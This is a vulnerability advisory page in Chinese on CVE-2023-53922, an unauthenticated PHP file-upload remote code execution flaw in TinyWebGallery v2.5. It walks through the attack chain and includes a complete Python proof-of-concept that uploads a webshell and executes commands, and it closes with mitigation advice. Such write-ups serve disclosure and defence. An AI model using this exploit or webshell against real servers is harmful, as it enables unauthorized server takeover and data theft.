IPBUF安全漏洞报告
English
CVE-2023-53922 CVSS 9.8 严重

CVE-2023-53922 TinyWebGallery 远程代码执行漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53922
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TinyWebGallery

相关标签

远程代码执行文件上传漏洞RCEPHPTinyWebGalleryCVE-2023-53922无认证利用webshellWeb安全

漏洞概述

CVE-2023-53922是TinyWebGallery v2.5中存在的一个严重安全漏洞,CVSS评分高达9.8分(严重级别)。该漏洞位于管理后台的文件上传功能中,攻击者可以在无需任何认证的情况下,通过构造恶意的PHP文件(包括.phar文件)上传到服务器。TinyWebGallery是一款流行的PHP图片画廊和管理应用程序,广泛应用于个人网站和企业内部文件管理系统。由于其管理后台通常部署在可访问的网络环境中,且默认配置可能存在安全风险,攻击者可以利用此漏洞完全控制目标服务器。漏洞的核心问题在于应用程序对上传文件的类型验证不足,允许攻击者上传包含恶意代码的PHP脚本文件。一旦文件上传成功,攻击者只需访问该文件的URL即可触发代码执行,从而在服务器上执行任意系统命令,获取服务器的最高权限。此漏洞影响严重,任何运行TinyWebGallery v2.5且管理后台暴露在网络中的服务器都可能成为攻击目标。

技术细节

TinyWebGallery v2.5的管理后台存在不受限制的文件上传漏洞。漏洞存在于/admin/index.php或类似的文件上传处理模块中,应用程序在处理文件上传请求时,仅检查文件扩展名而未对文件内容进行安全验证。攻击者可以利用此漏洞上传包含恶意PHP代码的文件,如.php、.phar等格式的文件。攻击流程如下:首先,攻击者构造一个包含system()或exec()等命令执行函数的PHP文件,例如:<?php system($_GET['cmd']); ?>。然后,通过HTTP POST请求将恶意文件发送到管理后台的上传接口,通常是/admin/index.php?action=upload或类似的端点。由于应用程序未验证上传文件的MIME类型和内容,恶意文件会被保存在服务器的可访问目录下。最后,攻击者通过访问上传文件的URL路径(如/photos/evil.php?cmd=whoami),即可在服务器上执行任意系统命令。攻击者还可以上传webshell获得持久化的远程访问能力,进而在内网中横向移动。漏洞的根源在于缺少对上传文件的严格白名单验证,以及对已上传文件的访问控制不当。

攻击链分析

STEP 1
步骤1:侦察和信息收集
攻击者识别目标服务器上运行的TinyWebGallery版本,确认版本为v2.5且管理后台可访问
STEP 2
步骤2:构造恶意文件
攻击者创建包含恶意PHP代码的文件,如webshell或命令执行脚本,可使用.php或.phar扩展名
STEP 3
步骤3:发送上传请求
攻击者向/admin/index.php发送HTTP POST请求,构造multipart/form-data表单上传恶意文件,无需任何认证信息
STEP 4
步骤4:文件存储确认
恶意文件被成功保存到服务器的可访问目录(如/photos/或/admin/photos/),服务器返回上传成功响应
STEP 5
步骤5:触发代码执行
攻击者通过HTTP GET请求访问上传的恶意文件URL,并附加命令参数(如?cmd=whoami),服务器解析PHP代码并执行系统命令
STEP 6
步骤6:持久化控制
攻击者获取服务器shell后,可进一步安装后门、窃取数据或横向移动到内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53922 PoC - TinyWebGallery RCE via Unrestricted File Upload # Target: TinyWebGallery v2.5 # Vulnerability: Unauthenticated remote code execution via admin upload functionality def exploit(target_url, webshell_path='/admin/photos/evil.php'): """ Exploit for CVE-2023-53922 Args: target_url: Base URL of vulnerable TinyWebGallery instance webshell_path: Path where webshell will be uploaded Returns: bool: True if exploitation successful """ # Step 1: Generate malicious PHP webshell webshell_content = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Step 2: Prepare multipart form data upload upload_url = f"{target_url}/admin/index.php" files = { 'file': ('evil.php', webshell_content, 'application/x-php'), 'action': (None, 'upload'), } try: # Step 3: Upload malicious file (no authentication required) print(f"[*] Uploading malicious PHP file to {upload_url}...") response = requests.post(upload_url, files=files, timeout=10) # Step 4: Verify upload and test RCE shell_url = f"{target_url}{webshell_path}" print(f"[*] Testing webshell at {shell_url}...") test_response = requests.get(shell_url, params={'cmd': 'whoami'}, timeout=10) if test_response.status_code == 200: print(f"[+] SUCCESS! RCE achieved!") print(f"[+] Command output: {test_response.text.strip()}") print(f"[+] Webshell URL: {shell_url}?cmd=<command>") return True else: print(f"[-] Failed: HTTP {test_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/twg") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

影响范围

TinyWebGallery v2.5

防御指南

临时缓解措施
在Web服务器配置中禁用上传目录的PHP执行权限:在Apache中创建.htaccess文件添加php_flag engine off或使用<FilesMatch>阻止PHP执行;在Nginx中配置location /uploads { deny all; }阻止访问。对于无法立即升级的情况,建议通过防火墙规则限制管理后台访问,仅允许经过VPN或特定IP段访问。同时启用详细的访问日志监控异常的上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表